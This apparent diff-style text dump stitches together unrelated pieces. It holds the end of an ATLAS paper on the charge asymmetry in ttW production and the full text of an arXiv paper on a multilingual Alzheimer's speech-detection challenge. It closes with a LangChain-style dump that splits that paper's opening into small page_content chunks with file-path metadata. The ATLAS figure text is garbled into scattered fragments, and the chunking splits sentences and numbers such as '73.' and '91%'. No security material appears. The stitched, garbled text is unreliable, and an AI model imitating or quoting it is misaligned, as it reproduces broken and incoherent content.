+post-fit predictions is shown in the lower panel.
+9.1 Particle-level objects
+Particle-level objects in simulated events are defined using quasi-stable particles (with a mean lifetime
+greater than 30 ps) originating from 𝑝𝑝 collisions. They are selected after hadronisation but before the
+interaction with the various detector components or consideration of pile-up effects.
+Particle-level electrons or muons are required to not originate from a hadron in the MC generator
+event record, whether directly or through a 𝜏-lepton decay. This ensures that they originate from a 𝑍
+or 𝑊 boson (where the 𝑊 boson can come either from prompt 𝑊 production or a top-quark decay),
+without requiring a direct match with the parent particle. The four-momenta of the bare leptons are
+modified (‘dressed’) by adding the four-momenta of all radiated photons within a cone of size Δ𝑅 = 0.1,
+excluding photons from hadron decays, to take into account FSR photons.
+Particle-level jets are reconstructed with the anti-𝑘𝑡 algorithm with a radius parameter of 𝑅 = 0.4 applied to
+all stable particles, but excluding the neutrinos originating from 𝑊 or 𝑍 bosons and the selected electrons,
+muons and photons used in the definition of the charged leptons. If 𝑏-hadrons with 𝑝T > 5 GeV are found
+in the MC event record, they are clustered into stable-particle jets with their energies set to negligible
+positive values (referred to as ‘ghost-matching’) [83]. Particle-level jets containing at least one of these
+𝑏-hadrons are considered as 𝑏-jets. The particle-level missing transverse momentum is defined as the
+vectorial sum of the transverse momenta of all neutrinos found in the MC simulation history of the event,
+excluding those originating from hadron decays.
+19
+
+0
+0.5
+1
+1.5
+2
+2.5
+3
+3.5
+ATLAS
+-1
+ = 13 TeV, 139 fb
+s
+)
+W
+tt
+ (
+l
+c
+A
+ 0.14
+±
+-0.12 
+)
+−
+η
+∆
+ (
+e
+ 
+-conv
+γ
+N
+ 0.34
+±
+0.74 
+)
++
+η
+∆
+ (
+e
+ 
+-conv
+γ
+N
+ 0.40
+±
+1.27 
+)
+−
+η
+∆
+ (
+e
+ 
+HF
+N
+ 0.09
+±
+0.83 
+)
++
+η
+∆
+ (
+e
+ 
+HF
+N
+ 0.08
+±
+0.98 
+)
+−
+η
+∆
+ (
+µ
+ 
+HF
+N
+ 0.09
+±
+0.98 
+)
++
+η
+∆
+ (
+µ
+ 
+HF
+N
+ 0.10
+±
+1.04 
+)
+−
+η
+∆
+ (
+Z
+tt
+N
+ 0.14
+±
+1.05 
+)
++
+η
+∆
+ (
+Z
+tt
+N
+ 0.15
+±
+1.28 
+)
+−
+η
+∆
+ (
+W
+tt
+N
+ 0.40
+±
+1.59 
+Figure 5: Normalisation factors for the major background processes, together with NΔ𝜂− for 𝑡¯𝑡𝑊 and the 𝐴ℓ
+c value
+extracted from the fit to data in the CRs and SRs. The normalisation factors, N𝑡 ¯𝑡𝑍, N𝑒
+𝛾-conv, N𝑒
+HF and N 𝜇
+HF, are
+obtained separately for Δ𝜂ℓ
+BDT ≤ 0 (Δ𝜂−) and Δ𝜂ℓ
+BDT > 0 (Δ𝜂+). The indicated uncertainties consider statistical as
+well as systematic uncertainties. The solid vertical line in the last entry shows the 𝐴ℓ
+c SM expectation, calculated
+using the 𝑡¯𝑡𝑊 Sherpa simulation.
+9.2 Particle-level fiducial volume
+The particle-level fiducial volume is defined by the following requirements on the particle-level objects, as
+defined in Section 9.1:
+• Three electrons or muons with 𝑝T > 15 GeV and |𝜂| < 2.5.
+• The invariant mass of all OSSF lepton pairs has to be larger than 25 GeV.
+• No 𝑍-candidate (as defined in Section 5) among the leptons.
+• At least two jets with 𝑝T > 20 GeV, |𝜂| < 2.5 and least one of them identified as a 𝑏-jet.
+9.3 Unfolding procedure and charge-asymmetry extraction
+The unfolding procedure is applied to the observed number of data events in the SRs. Analogously
+to the method used at detector level, described in Section 6, a method of matching leptons to top
+quarks (antiquarks) is required to obtain the response matrix, essential to the unfolding procedure. To
+reproduce the particle-level fiducial volume, a simpler scheme is adopted that is independent of the
+generator-specific MC event record and any multivariate algorithm. Each lepton is combined with the
+20
+
+closest 𝑏-jet in the Δ𝑅 space. The ℓ–𝑏 system that yields a mass closest to the most probable mass for a
+ℓ–𝑏 system originating from a top-quark decay (according to the nominal 𝑡¯𝑡𝑊 simulation) is used to select
+the even and odd leptons. This procedure has an efficiency of approximately 65% to identify the correct
+leptons.
+The following formula is used for the unfolding:
+𝑁folded
+𝑖
+= 1
+𝛼𝑖
+∑︁
+𝑗
+𝜀 𝑗 𝑀𝑖 𝑗
+��������������������������
+𝑅𝑖 𝑗
+𝑁fid
+𝑗
+with
+𝑀𝑖 𝑗 =
+𝑁 (reco ∩ fid)
+𝑖 𝑗
+𝑁 (reco ∩ fid)
+𝑗
+,
+𝛼𝑖 = 𝑁 (reco ∩ fid)
+𝑖
+𝑁reco
+𝑖
+,
+𝜀 𝑗 =
+𝑁 (reco ∩ fid)
+𝑗
+𝑁fid
+𝑗
+,
+(3)
+with the number 𝑁fid
+𝑗
+representing the content of bin 𝑗 after the unfolding procedure. The response
+matrix (𝑅𝑖 𝑗) is constructed from the migration matrix (𝑀𝑖 𝑗) and the acceptance and efficiency correction
+terms (𝛼𝑖 and 𝜀 𝑗) for each bin. The entries in the migration matrix represent the fractions of events at
+particle level in a 𝑦-axis bin that are reconstructed at detector level in an 𝑥-axis bin. They are normalised
+such that the sum of entries in each row is equal to one. The acceptance corrections 𝛼𝑖 account for events
+that are generated outside the fiducial volume (‘fid’) but satisfy the selection at detector level (‘reco’), as
+described in Section 5. The efficiency corrections 𝜀 𝑗 account for events that are in the fiducial volume
+but fail to satisfy the detector-level selection. The symbol ∩ represents the logical intersection of the two
+regions.
+The migration matrices, as well as the acceptance and efficiency correction terms, are built separately for
+each of the SRs defined in Table 1. As an example, Figure 6 shows (a) the migration matrix, as well as
+(b) the efficiency and (c) the acceptance correction factors that are used for SR-2𝑏-low𝑁jets, which is the
+region with the highest 𝑡¯𝑡𝑊 purity. The fraction of events in the diagonal elements of the migration matrix
+shows the quality of the resolution for Δ𝜂ℓ, which is around 90%. The efficiency corrections are at a level
+of 11%–12% and the acceptance corrections are around 95%. None show any notable dependence on
+Δ𝜂ℓ.
+The unfolding procedure is the same as in Ref. [18] and based on a profile-likelihood approach (‘profile-
+likelihood unfolding’). With this approach, the unfolding problem is transformed into a standard problem
+of fitting normalisations of distributions. Each bin in the particle-level distribution is ‘folded’ through the
+response matrix via Eq. (3), resulting in the same numbers of bins at detector level. The particle-level bins
+are treated as separate subsamples that are multiplied by their respective entries in the response matrix and
+freely floating parameters are assigned to each of these subsamples at detector level. Analogously to the fit
+described in Section 8, the freely floating parameters are assigned to the major backgrounds in the SRs:
+N𝑡 ¯𝑡𝑍, N𝑒
+𝛾-conv, N𝑒
+HF and N 𝜇
+HF. These normalisations and the analysis regions are split into Δ𝜂+ and Δ𝜂−, in
+the same way as the detector-level results. Thus, the detector-level distributions are scaled by some factors,
+determined by fitting the data, and these factors are then used to scale the corresponding particle-level bins,
+which gives the desired unfolded result. The charge asymmetry is defined as the parameter of interest and
+is related to the normalisation factors in the unfolded bins. For the CRs, no response matrices are built.
+However, as the signal contamination in these regions is very small compared with the total event yields,
+an approximation is made whereby the signal is treated as an additional background. An exception is
+CR-𝛾-conv where, due to the high signal contamination, response matrices are also built. No regularisation
+is applied in the unfolding.
+The systematic uncertainties in the signal and background processes considered for the unfolded results
+are the same as for the results at detector level (described in Section 7). Systematic uncertainties in the
+21
+
+10
+20
+30
+40
+50
+60
+70
+80
+90
+[%]
+ 1.1
+±
+91.5
+ 0.3
+±
+8.5
+ 0.4
+±
+11.8
+ 1.2
+±
+88.2
+−
+η
+∆
++
+η
+∆
+Detector-level
+−
+η
+∆
++
+η
+∆
+Particle-level
+ATLAS
+-1
+ = 13 TeV, 139 fb
+s
+Simulation, 
+(a)
+−
+η
+∆
++
+η
+∆
+0.09
+0.1
+0.11
+0.12
+0.13
+Efficiency
+ATLAS Simulation
+-1
+ = 13 TeV, 139 fb
+s
+(b)
+−
+η
+∆
++
+η
+∆
+0.8
+0.85
+0.9
+0.95
+1
+1.05
+1.1
+Acceptance
+ATLAS Simulation
+-1
+ = 13 TeV, 139 fb
+s
+(c)
+Figure 6: (a) The migration matrix and (b,c) the efficiency/acceptance corrections that are used as input for the
+unfolding of SR-2𝑏-low𝑁jets. The matrices are normalised such that the sum of any given row is 100%, although
+small differences may be present due to rounding. The error bars of the efficiency/acceptance correction terms
+represent the MC statistical uncertainties per bin based on the nominal 𝑡¯𝑡𝑊 Sherpa sample.
+22
+
+background processes are propagated to the unfolded distributions by varying the detector-level distributions
+within their uncertainties and repeating the unfolding procedure. The modelling uncertainties of the 𝑡¯𝑡𝑊
+signal are propagated through the unfolding procedure, using variations of the response matrices.
+An injection test is performed to verify that non-SM 𝐴ℓ
+c values can be recovered in the unfolding procedure.
+This is done by injecting the non-SM 𝐴ℓ
+c values into the particle-level predictions, which are propagated to
+detector level and treated as pseudo-data in the fit. The unfolding procedure is then performed on this
+pseudo-data for several positive and negative deviations from the SM 𝐴ℓ
+c to compute the relation between
+the injected and extracted 𝐴ℓ
+c values and to estimate the bias that the fit procedure introduces. After the fit
+to real data, the observed 𝐴ℓ
+c is substituted into the relation to extract the bias. The bias estimated from this
+procedure is found to be 0.004. Although this value is well covered by the systematic uncertainties, it is
+added as an extra uncertainty in the unfolded 𝐴ℓ
+c value to account for this effect.
+The charge asymmetry value, unfolded to particle level (PL) in the fiducial volume defined in Section 9.2,
+is found to be
+𝐴ℓ
+c (𝑡¯𝑡𝑊)PL = −0.112 ± 0.170 (stat.) ± 0.054 (syst.),
+with a SM expectation calculated using the nominal 𝑡¯𝑡𝑊 Sherpa simulation of
+𝐴ℓ
+c (𝑡¯𝑡𝑊)PL
+SM = −0.063 +0.007
+−0.004 (scale) ± 0.004 (MC stat.).
+The nominal values for the background normalisations are the same as reported in Section 8. The
+contributions from the most relevant uncertainties in the charge asymmetry at particle level are given in
+Table 5. The sources of uncertainty are similar to the ones reported in Table 4, with the Δ𝜂± CR-dependency,
+the modelling of the 𝑡¯𝑡𝑊 and 𝑡¯𝑡𝑍 MC processes and the statistical uncertainty being the dominant ones.
+The statistical uncertainty is slightly increased relative to the detector-level result due to the unfolding
+procedure.
+10 Conclusions
+This paper presents a search for the leptonic charge asymmetry in 𝑡¯𝑡𝑊 production using 𝑝𝑝 collision data at
+√𝑠 = 13 TeV with the full Run 2 data sample collected with the ATLAS detector at the LHC, corresponding
+to an integrated luminosity of 139 fb−1. The leptonic charge asymmetry is defined as the pseudorapidity
+difference between the two reconstructed charged leptons associated with top quarks (or top antiquarks).
+The search is performed in 3ℓ final states using reconstructed light leptons (electrons or muons), together
+with jets and 𝑏-jets. To correctly match the leptons to either top quarks or top antiquarks, a technique based
+on a BDT is used.
+The charge asymmetry at reconstruction level is obtained by performing a simultaneous profile-likelihood
+fit to data in different signal and control regions optimised for either the 𝑡¯𝑡𝑊 process or the major SM
+background processes (𝑡¯𝑡𝑍, non-prompt leptons from HF decays or electrons from 𝛾-conversions). The
+charge asymmetry is extracted together with the normalisations for these background processes and is
+found to be
+𝐴ℓ
+c (𝑡¯𝑡𝑊) = −0.123 ± 0.136 (stat.) ± 0.051 (syst.).
+This is consistent with the SM expectation of
+𝐴ℓ
+c (𝑡¯𝑡𝑊)SM = −0.084 +0.005
+−0.003 (scale) ± 0.006 (MC stat.),
+23
+
+Table 5: List of the most relevant systematic and statistical uncertainties in the leptonic charge asymmetry at particle
+level 𝐴ℓ
+c (𝑡¯𝑡𝑊)PL. For this table, the uncertainties are symmetrised and grouped into categories. The sum in quadrature
+of the individual uncertainties is not necessarily equal to the total uncertainty due to correlations introduced by the fit.
+Δ𝐴ℓc (𝑡 ¯𝑡𝑊 )PL
+Experimental uncertainties
+Leptons
+0.014
+Jet energy resolution
+0.011
+Pile-up
+0.008
+Jet energy scale
+0.004
+𝐸miss
+T
+0.002
+Luminosity
+0.001
+Jet vertex tagger
+0.001
+MC modelling uncertainties
+𝑡 ¯𝑡𝑊 modelling
+0.022
+𝑡 ¯𝑡𝑍 modelling
+0.017
+HF𝑒/𝜇 modelling
+0.015
+Others modelling
+0.015
+𝑊 𝑍/𝑍 𝑍 + jets modelling
+0.014
+𝑡 ¯𝑡𝐻 modelling
+0.006
+Other uncertainties
+Unfolding bias
+0.004
+Δ𝜂± CR-dependency
+0.039
+MC statistical uncertainty
+0.027
+Response matrix
+0.009
+Data statistical uncertainty
+0.170
+Total uncertainty
+0.179
+calculated using the nominal 𝑡¯𝑡𝑊 Sherpa simulation. An unfolding procedure is used to obtain the
+charge asymmetry at particle level in a specific fiducial volume in the 3ℓ channel. The unfolding is based
+on a profile-likelihood approach, where the unfolding is performed together with fitting normalisations
+of the major background processes, using the same procedure used to derive the charge asymmetry at
+reconstruction level. The charge asymmetry at particle level yields
+𝐴ℓ
+c (𝑡¯𝑡𝑊)PL = −0.112 ± 0.170 (stat.) ± 0.054 (syst.),
+with a SM expectation calculated using the nominal 𝑡¯𝑡𝑊 Sherpa simulation of
+𝐴ℓ
+c (𝑡¯𝑡𝑊)PL
+SM = −0.063 +0.007
+−0.004 (scale) ± 0.004 (MC stat.).
+The most relevant systematic uncertainties affecting this search are the Δ𝜂± CR-dependency of the fit, as
+well as the modelling uncertainties of the 𝑡¯𝑡𝑊 and 𝑡¯𝑡𝑍 MC processes in the 3ℓ channel. However, both the
+reconstruction- and particle-level results are severely limited by the statistical uncertainties of the data.
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+arXiv:2301.05562v1  [eess.AS]  13 Jan 2023
+MULTILINGUAL ALZHEIMER’S DEMENTIA RECOGNITION THROUGH SPONTANEOUS
+SPEECH: A SIGNAL PROCESSING GRAND CHALLENGE
+Saturnino Luz1, Fasih Haider1, Davida Fromm2, Ioulietta Lazarou3,
+Ioannis Kompatsiaris3 and Brian MacWhinney2
+1 Usher Institute, Edinburgh Medical School, The University of Edinburgh, UK
+2 Department of Psychology, Carnegie Mellon University, USA
+3 Information Technologies Institute, CERTH, Thermi-Thessaloniki, Greece
+ABSTRACT
+This Signal Processing Grand Challenge (SPGC) targets a
+difficult automatic prediction problem of societal and medi-
+cal relevance, namely, the detection of Alzheimer’s Demen-
+tia (AD). Participants were invited to employ signal process-
+ing and machine learning methods to create predictive mod-
+els based on spontaneous speech data. The Challenge has
+been designed to assess the extent to which predictive models
+built based on speech in one language (English) generalise to
+another language (Greek). To the best of our knowledge no
+work has investigated acoustic features of the speech signal in
+multilingual AD detection. Our baseline system used conven-
+tional machine learning algorithms with Active Data Repre-
+sentation of acoustic features, achieving accuracy of 73.91%
+on AD detection, and 4.95 root mean squared error on cogni-
+tive score prediction.
+Index Terms— Alzheimer’s dementia detection, speech
+processing, speech biomarkers.
+1. INTRODUCTION
+Dementia is a category of neurodegenerative diseases that en-
+tail a long-term and usually gradual decrease of cognitive
+functioning.
+As cost-effective and accurate biomarkers of
+neurodegeneration have been sought in the field of demen-
+tia research, speech-based “digital biomarkers” have emerged
+as a promising possibility. While there has been much inter-
+est in automated methods for cognitive impairment detection
+through speech by the signal processing and machine learn-
+ing communities [1], most of the proposed approaches have
+not investigated which speech features can be generalised and
+transferred across languages for AD prediction, and to the
+best of our knowledge no work has investigated acoustic fea-
+tures of speech in multilingual AD detection. This SPGC,
+“ADReSS-M: Multilingual Alzheimer’s Dementia Recogni-
+tion through Spontaneous Speech” targets this issue by defin-
+ing prediction tasks whereby participants train their models
+on English speech data and assess their models’ performance
+on spoken Greek data. The models submitted to the challenge
+focus on acoustic or linguistic features of the speech signal
+whose predictive power is preserved across languages.
+This SPGC aims to provide a platform for contributions
+and discussions on applying signal processing and machine
+learning methods for multilingual AD recognition, and stim-
+ulate the discussion of machine learning architectures, novel
+signal processing features, feature selection and extraction
+methods, and other topics of interest to the growing commu-
+nity of researchers interested in investigating the connections
+between speech and dementia.
+2. THE PREDICTION TASKS
+The ADReSS-M challenge consists of the following tasks:
+(1) a classification task, where the model will aim to dis-
+tinguish healthy control speech from AD/MCI speech, and
+(2) an MMSE score prediction (regression) task, where you
+create a model to infer the speaker’s Mini Mental Status Ex-
+amination (MMSE) score based on speech data. Participants
+could choose to do one or both tasks. They were provided
+with a training set and, two weeks prior to the paper submis-
+sion deadline, with test sets on which to test their models. Up
+to five sets of results were allowed for scoring for each task
+per participant. All attempts had to be submitted together.
+2.1. The data sets
+This SPGC data sets were made available through Dementia-
+Bank1, upon request. The training dataset consists of spon-
+taneous speech samples corresponding to audio recordings of
+picture descriptions produced by cognitively normal subjects
+and patients with an AD diagnosis, who were asked to de-
+scribe the Cookie Theft picture from the Boston Diagnostic
+Aphasia Examination test[2]. The participants were speak-
+ers of English. The test set consists of spontaneous speech
+descriptions of a different picture, in Greek. The recordings
+were made in one of these languages. Participants were ini-
+tially allowed access only to the training data (in English) and
+some sample Greek data (8 recordings) for development pur-
+poses.
+1https://dementia.talkbank.org/
+
+The Greek recordings assess participants’ verbal fluency
+and mood using a picture that the participant describes while
+looking at it. The assessor first shows the participant a picture
+representing a lion lying with a cub in the dessert while eat-
+ing. The assessor then asks the participants to give a verbal
+description of the picture in a few sentences.
+The training dataset was balanced with respect to age and
+gender in order to eliminate potential confounding and bias.
+As we employed a propensity score approach to matching we
+did not need to adjust for education, as it correlates with age
+and gender, which suffice as an admissible for adjustment (see
+[3, pp 348-352]). The dataset was checked for matching ac-
+cording to scores defined in terms of the probability of an
+instance being treated as AD given covariates age and gender
+estimated through logistic regression, and matching instances
+were selected. All standardized mean differences for the co-
+variates were below 0.1 and all standardized mean differences
+for squares and two-way interactions between covariates were
+below 0.15, indicating adequate balance for those covariates.
+2.2. Evaluation
+The classification task is evaluated in terms of accuracy,
+specificity, sensitivity and F1 scores. For the regression task
+(MMSE prediction), the metrics used are the coefficient of
+determination and root mean squared error. The ranking of
+submissions is based on accuracy scores for the classifica-
+tion task (task 1), and on RMSE scores for the MMSE score
+regression task (task 2).
+3. BASELINE MODELS
+First we normalised the volume of audio files using ffmpeg’
+EBU R128 scanner filter. A sliding window of 1 s, with no
+overlap, was then applied to the audio, and eGeMAPS fea-
+tures were extracted over these frames. The eGeMAPS fea-
+ture set [4] is a basic set of acoustic features designed to de-
+tect physiological changes in voice production. It contains
+the F0 semitone, loudness, spectral flux, MFCC, jitter, shim-
+mer, F1, F2, F3, alpha ratio, Hammarberg index and slope V0
+features, as well as their most common statistical functionals,
+totalling 88 features per frame. Given the eGeMAPS features,
+we applied the active data representation method (ADR) [5]
+to generate a frame level acoustic representation for each au-
+dio recording. The ADR method has been used previously
+to generate large scale time-series data representation. It em-
+ploys self-organising mapping to cluster the original acoustic
+features and then computes second-order features over these
+clusters to extract new features [5]. This method is entirely
+automatic in that no speech segmentation or diarisation infor-
+mation is provided to the algorithm.
+For task 1, we employed a Na¨ıve Bayes classifier with
+kernel smoothing estimation. The ADR for feature extraction
+was optimised using a grid search (C = 5, 10, 15, 20, 25).
+We achieved accuracies of 75.00% and 73.91% on sample
+and test data respectively using 15+2 ADR, age and gender
+features per recording. On the test set, specificity was 79.2%,
+precision was 75%, sensitivity was 68.2%, and F1 was 71.4%.
+The feature to training audio ratio was 19:237.
+For the MMSE regression task (task 2), we employed
+a support vector machine (SVM) model with a RBF kernel
+with box constraint of 1, and sequential minimal optimization
+solver. The ADR for feature extraction was optimised using
+a grid search (C = 5, 10, 15, 20, 25). This model achieved
+a root mean squared error (RMSE) of 3.887 (r = 0.273)
+and 4.955 (r = 0.348) on sample and test data respectively
+using 25+2 ADR, age and gender features per recording. The
+feature to training audio recordings ratio was also 29:237.
+4. CONCLUSION
+Spontaneous speech analysis has the potential to enable novel
+applications for speech technology in longitudinal, unob-
+trusive monitoring of cognitive health. By focusing on AD
+recognition using spontaneous speech, this SPGC investigates
+an alternative to neuropsychological and clinical evaluation
+approaches to AD detection and cognitive assessment. Fur-
+thermore, the multilingual setting provided by this SPGC
+allows the investigation of features that might generalise
+across languages, extending the applicability of the models.
+In keeping with the objectives of AD prediction evaluation,
+the ADReSS-M challenge provides a statistically matched
+data set so as to mitigate common biases often overlooked
+in evaluations of AD detection methods, including repeated
+occurrences of speech from the same participant, variations in
+audio quality, and imbalances of gender, age and educational
+level. We hope this might serve as a benchmark for future
+research on multilingual AD assessment.
+5. REFERENCES
+[1] S. de la Fuente Garcia, C. Ritchie, and S. Luz, “Artificial
+intelligence, speech and language processing approaches
+to monitoring Alzheimer’s disease: a systematic review,”
+Journal of Alzheimer’s Disease, vol. 78, no. 4, 2020.
+[2] J. Becker, F. Boller, O. Lopez, J. Saxton, and K. Mc-
+Gonigle,
+“The natural history of Alzheimer’s disease:
+Description of study cohort and accuracy of diagnosis,”
+Archives of Neurology, vol. 51, no. 6, pp. 585–594, 1994.
+[3] J. Pearl, Causality: Models, Reasoning, and Inference,
+Cambridge University Press, 2nd edition, 2009.
+[4] F. Eyben et al., “The Geneva minimalistic acoustic pa-
+rameter set for voice research and affective computing,”
+IEEE Trans Affect Computing, vol. 7, no. 2, 2016.
+[5] F. Haider, S. de la Fuente, and S. Luz,
+“An assess-
+ment of paralinguistic acoustic features for detection of
+alzheimer’s dementia in spontaneous speech,” IEEE J Sel
+Top Signal Process, vol. 14, no. 2, pp. 272–281, 2020.
+

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+page_content='AS]  13 Jan 2023  MULTILINGUAL ALZHEIMER’S DEMENTIA RECOGNITION THROUGH SPONTANEOUS  SPEECH: A SIGNAL PROCESSING GRAND CHALLENGE  Saturnino Luz1,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' Fasih Haider1,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' Davida Fromm2,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' Ioulietta Lazarou3,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  Ioannis Kompatsiaris3 and Brian MacWhinney2  1 Usher Institute,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' Edinburgh Medical School,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' The University of Edinburgh,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' UK  2 Department of Psychology,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' Carnegie Mellon University,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' USA  3 Information Technologies Institute,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' CERTH,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' Thermi-Thessaloniki,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' Greece  ABSTRACT  This Signal Processing Grand Challenge (SPGC) targets a  difficult automatic prediction problem of societal and medi-  cal relevance,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' namely,' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' the detection of Alzheimer’s Demen-  tia (AD).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' Participants were invited to employ signal process-  ing and machine learning methods to create predictive mod-  els based on spontaneous speech data.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' The Challenge has  been designed to assess the extent to which predictive models  built based on speech in one language (English) generalise to  another language (Greek).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' To the best of our knowledge no  work has investigated acoustic features of the speech signal in  multilingual AD detection.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' Our baseline system used conven-  tional machine learning algorithms with Active Data Repre-  sentation of acoustic features, achieving accuracy of 73.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='91%  on AD detection, and 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='95 root mean squared error on cogni-  tive score prediction.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  Index Terms— Alzheimer’s dementia detection, speech  processing, speech biomarkers.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' INTRODUCTION  Dementia is a category of neurodegenerative diseases that en-  tail a long-term and usually gradual decrease of cognitive  functioning.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  As cost-effective and accurate biomarkers of  neurodegeneration have been sought in the field of demen-  tia research, speech-based “digital biomarkers” have emerged  as a promising possibility.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' While there has been much inter-  est in automated methods for cognitive impairment detection  through speech by the signal processing and machine learn-  ing communities [1], most of the proposed approaches have  not investigated which speech features can be generalised and  transferred across languages for AD prediction, and to the  best of our knowledge no work has investigated acoustic fea-  tures of speech in multilingual AD detection.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' This SPGC,  “ADReSS-M: Multilingual Alzheimer’s Dementia Recogni-  tion through Spontaneous Speech” targets this issue by defin-  ing prediction tasks whereby participants train their models  on English speech data and assess their models’ performance  on spoken Greek data.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' The models submitted to the challenge  focus on acoustic or linguistic features of the speech signal  whose predictive power is preserved across languages.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  This SPGC aims to provide a platform for contributions  and discussions on applying signal processing and machine  learning methods for multilingual AD recognition, and stim-  ulate the discussion of machine learning architectures, novel  signal processing features, feature selection and extraction  methods, and other topics of interest to the growing commu-  nity of researchers interested in investigating the connections  between speech and dementia.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' THE PREDICTION TASKS  The ADReSS-M challenge consists of the following tasks:  (1) a classification task, where the model will aim to dis-  tinguish healthy control speech from AD/MCI speech, and  (2) an MMSE score prediction (regression) task, where you  create a model to infer the speaker’s Mini Mental Status Ex-  amination (MMSE) score based on speech data.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' Participants  could choose to do one or both tasks.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' They were provided  with a training set and, two weeks prior to the paper submis-  sion deadline, with test sets on which to test their models.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' Up  to five sets of results were allowed for scoring for each task  per participant.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' All attempts had to be submitted together.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
